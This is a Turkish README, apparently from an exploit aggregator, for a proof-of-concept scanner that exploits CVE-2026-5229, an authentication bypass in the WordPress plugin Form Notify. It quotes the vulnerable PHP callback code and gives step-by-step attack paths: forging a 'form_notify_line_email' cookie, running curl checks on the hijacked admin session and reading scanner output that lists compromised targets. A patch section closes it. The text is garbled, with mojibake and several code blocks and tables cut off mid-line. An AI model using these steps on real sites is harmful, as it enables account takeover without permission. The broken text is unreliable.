Share
## https://sploitus.com/exploit?id=194FCC40-DA27-577D-9185-D842B7A46BEB
# CVE-2026-5229
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
# Form Notify â LINE OAuth Authentication Bypass Scanner
> **Plugin:** Form Notify (`form-notify`)
> **Zafiyet TĂŒrĂŒ:** Unauthenticated LINE OAuth Authentication Bypass â Account Takeover
> **CVSS Score:** 9.8 (Critical)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
> **Etkilenen SĂŒrĂŒmler:** **Yamalı SĂŒrĂŒm:** 1.1.11+
> **AraĆtırmacı:** Paolo Tresso â Wordfence
---
## đ Zafiyet Hakkında
Form Notify eklentisi, form gönderimleri sonrası bildirim gönderen ve
**LINE Login OAuth 2.0** entegrasyonu sunan bir WordPress eklentisidir.
Zafiyet, LINE OAuth callback handler'ında bulunmaktadır. Kullanıcı
LINE yetkilendirme akıĆını tamamladıktan sonra eklenti, WordPress
hesabını **yalnızca email adresine göre** çözĂŒmler. LINE hesabının
o WordPress hesabıyla daha önce iliĆkilendirilip iliĆkilendirilmediÄini
**hiçbir zaman kontrol etmez.**
---
## đ SĂŒrĂŒm Bazlı Zafiyet Tablosu
| SĂŒrĂŒm | Zafiyet | Saldırı Yöntemi |
|---|---|---|
| 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doÄrulama gerekmez
},
)
);
```
---
### Nonce Neden Koruma SaÄlamıyor?
WordPress nonce'ları **CSRF token**'dır, kimlik doÄrulama token'ı deÄildir.
Her ziyaretçi sayfa HTML'inden geçerli bir nonce alabilir ve doÄrulama
kontrolĂŒnĂŒ geçebilir.
---
### Email ile Hesap ĂözĂŒmleme (1.1.10)
```php
// Route.php â lines 115â116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
```
```php
// User.php â is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolĂŒ YOK
}
return false;
}
```
EĆleĆme bulunursa `login()` metodu anında oturum açar:
```php
// User.php â login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
```
---
### Cookie Injection (email ) ? $user->email : $line_email;
```
LINE profili email döndĂŒrmediÄinde (`$user->email` boĆ),
eklenti **doÄrudan tarayıcı cookie'sini** okur.
Saldırgan bu cookie'yi tamamen kontrol eder.
---
### State DoÄrulama ZayıflıÄı
```php
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a dĂŒĆer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
```
Transient sĂŒresi dolduysa `$_SESSION` fallback'i devreye girer.
ĂoÄu WordPress kurulumunda `$_SESSION` bu noktada dolu deÄildir â
state kontrolĂŒ atlatılabilir.
---
### İkincil Sorun â Email = Ćifre ( $user_email, // Ćifre = email adresi
...
);
```
LINE OAuth akıĆıyla oluĆturulan hesaplarda Ćifre, email adresiyle
aynıdır. Bu durum doÄrudan brute-force veya login saldırısına
olanak tanır.
---
## đŽ Neden Kritik?
| Sebep | Açıklama |
|---|---|
| **Kimlik doÄrulama gerekmez** | Callback endpoint tamamen public |
| **Linkage kontrolĂŒ yok** | Herhangi LINE hesabı yeterli |
| **Cookie saldırısı** | â ïž **Disclaimer:** This PoC is provided for educational and authorized
> security testing purposes only. Testing against systems without explicit
> permission is illegal.
**Ăn KoĆullar:**
- Form Notify eklentisi kurulu ve aktif, LINE Login yapılandırılmıĆ
- LINE developer hesabı ve LINE Login channel
- Hedef sitede LINE login butonu olan bir sayfa
---
### Path A â Cookie Injection (&1 | grep Location
```
#### Adım 3 â LINE OAuth Flow BaĆlat
Location header'daki LINE OAuth URL'ini tarayıcıda aç.
#### Adım 4 â Email Scope VERMEDEn Tamamla
LINE consent ekranında email iznini **verme** veya emailsiz
bir LINE hesabı kullan. LINE, email olmadan callback'e yönlendirir.
Eklenti cookie'ye dĂŒĆer.
#### Adım 5 â Oturumu DoÄrula
```bash
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
```
Beklenen yanıt:
```json
{
"id": 1,
"name": "admin",
"email": "admin@target.com",
"roles": ["administrator"]
}
```
---
### Path B â Email Match ( roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A â Manuel tamamlama)
Hedef Email : editor@hedef2.com
Cookie Set : form_notify_line_email=editor@hedef2.com
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif deÄil)
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
DONE : 2
NO_LINE : 1
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
Auth bypass â auth_bypass.txt
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
```
---
## đĄïž Savunma / Yama
| Ănlem | Uygulama |
|---|---|
| **Eklenti GĂŒncellemesi** | Form Notify 1.1.11+ sĂŒrĂŒmĂŒne yĂŒkselt |
| **LINE Linkage KontrolĂŒ** | LINE ID'yi kullanıcı meta'ya kaydet, her giriĆte doÄrula |
| **Cookie Fallback Kaldır** | `$_COOKIE['form_notify_line_email']` kullanımını kaldır |
| **State DoÄrulama** | Transient fallback'i kaldır, sĂŒresi dolmuĆ state'i reddet |
| **Ćifre Politikası** | `sign_up()`'ta email'i Ćifre olarak kullanma |
| **REST Endpoint Koruması** | Callback endpoint'ine rate limiting uygula |
GĂŒvenli hesap çözĂŒmleme örneÄi:
```php
// GĂŒvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// GĂŒvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eĆleĆtir
) );
```
---
## đ Dosya Yapısı
```
form-notify-bypass/
âââ form_notify_rce.py # Ana tarayıcı
âââ requirements.txt # BaÄımlılıklar
âââ README.md # Bu dosya
```
---
## â ïž Yasal Uyarı
> Bu araç ve PoC yalnızca **yetkili sistemlerde**, **eÄitim amaçlı** ve
> **penetrasyon testi** kapsamında kullanılmak ĂŒzere hazırlanmıĆtır.
> İzinsiz sistemlerde kullanımı **TĂŒrk Ceza Kanunu 243-245. maddeleri**
> ve uluslararası siber suç yasaları kapsamında **suç teĆkil eder.**
> GeliĆtirici, aracın kötĂŒye kullanımından doÄacak hiçbir hukuki
> sorumluluk kabul etmez.
---
## đ Lisans
MIT License â Yalnızca eÄitim ve araĆtırma amaçlıdır.
---
## đ Referanslar
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [LINE Login OAuth 2.0 Docs](https://developers.line.biz/en/docs/line-login/)
- [WordPress Plugin Directory â Form Notify](https://wordpress.org/plugins/form-notify/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
- [OAuth 2.0 Security Best Practices â RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)